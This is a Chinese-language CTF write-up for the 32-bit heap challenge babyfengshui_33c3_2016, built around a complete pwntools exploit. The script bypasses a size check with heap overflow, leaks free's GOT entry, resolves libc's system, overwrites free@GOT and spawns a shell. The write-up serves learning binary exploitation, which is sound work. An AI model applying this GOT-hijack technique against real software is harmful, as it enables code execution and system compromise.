image.png
    32位可以改got表
    创建堆块里有这个(就是一个控制堆块,前四字节存放内容堆块的地址,后面存放name)
    image.png
    漏洞的位置,一个判断的函数
    image.png
    其实我们申请的堆块不一定连续对吧,,所以只要利用堆申请的机制,我们就可以实现绕过

    1. creat(0x10,"aaaa",0x10,"bbbb") #0
    2. creat(0x10,"cccc",0x10,"dddd") #1
    3. creat(0x10,"name",0x10,"/bin/sh\x00") #2
    4. free(0)
    5. #debug()
    6. payload = b'a'*0x80+p32(0x88)+p32(0x19)+b'a'*0x14+p32(0x89)+p32(free_got)
    7. creat(0x80,"aaaa",len(payload),payload)
    8. show(1)

    image.png
    这样中间的内存就可以随便改了
    既然got可改我们主要就是劫持got表咯

    1. from pwn import*
    2. from LibcSearcher import*
    3. context.log_level = 'debug'
    4. #context.arch = 'amd64'
    5. io =process('./babyfengshui_33c3_2016')
    6. #io = remote("node4.buuoj.cn",27629)
    7. elf = ELF('./babyfengshui_33c3_2016')
    8. #libc = ELF('libc-2.23.so')
    9. def debug():
    10. gdb.attach(io)
    11. pause()
    12. def creat(size,value,size1,value1):
    13. io.recvuntil('Action: ')
    14. io.sendline('0')
    15. io.recvuntil('size of description: ')
    16. io.sendline(str(size))
    17. io.recvuntil('name: ')
    18. io.sendline(value)
    19. io.recvuntil('text length: ')
    20. io.sendline(str(size1))
    21. io.recvuntil('text: ')
    22. io.sendline(value1)
    23. def free(id):
    24. io.recvuntil('Action: ')
    25. io.sendline('1')
    26. io.recvuntil('index: ')
    27. io.sendline(str(id))
    28. def show(i):
    29. io.recvuntil('Action: ')
    30. io.sendline('2')
    31. io.recvuntil('index: ')
    32. io.sendline(str(i))
    33. def update(index,value2):
    34. io.recvuntil('Action: ')
    35. io.sendline('3')
    36. io.recvuntil('index: ')
    37. io.sendline(str(index))
    38. io.recvuntil('text length: ')
    39. io.sendline(str(len(value2)))
    40. io.recvuntil('text: ')
    41. io.sendline(value2)
    42. free_got = elf.got["free"]
    43. creat(0x10,"aaaa",0x10,"bbbb") #0
    44. creat(0x10,"cccc",0x10,"dddd") #1
    45. creat(0x10,"name",0x10,"/bin/sh\x00") #2
    46. free(0)
    47. #debug()
    48. payload = b'a'*0x80+p32(0x88)+p32(0x19)+b'a'*0x14+p32(0x89)+p32(free_got)
    49. creat(0x80,"aaaa",len(payload),payload)
    50. debug()
    51. show(1)
    52. io.recvuntil("description: ")
    53. free_addr = u32(io.recv(4))
    54. log.success("free_address:{}".format(hex(free_addr)))
    55. #pause()
    56. libc = LibcSearcher("free",free_addr)
    57. libcbase = free_addr - libc.dump('free')
    58. system_addr = libcbase+libc.dump('system')
    59. #one_gadget = libcbase+0xf02a4
    60. log.success("system_address:{}".format(hex(system_addr)))
    61. update(1,p32(system_addr))
    62. #debug()
    63. free(2)
    64. #debug()
    65. io.interactive()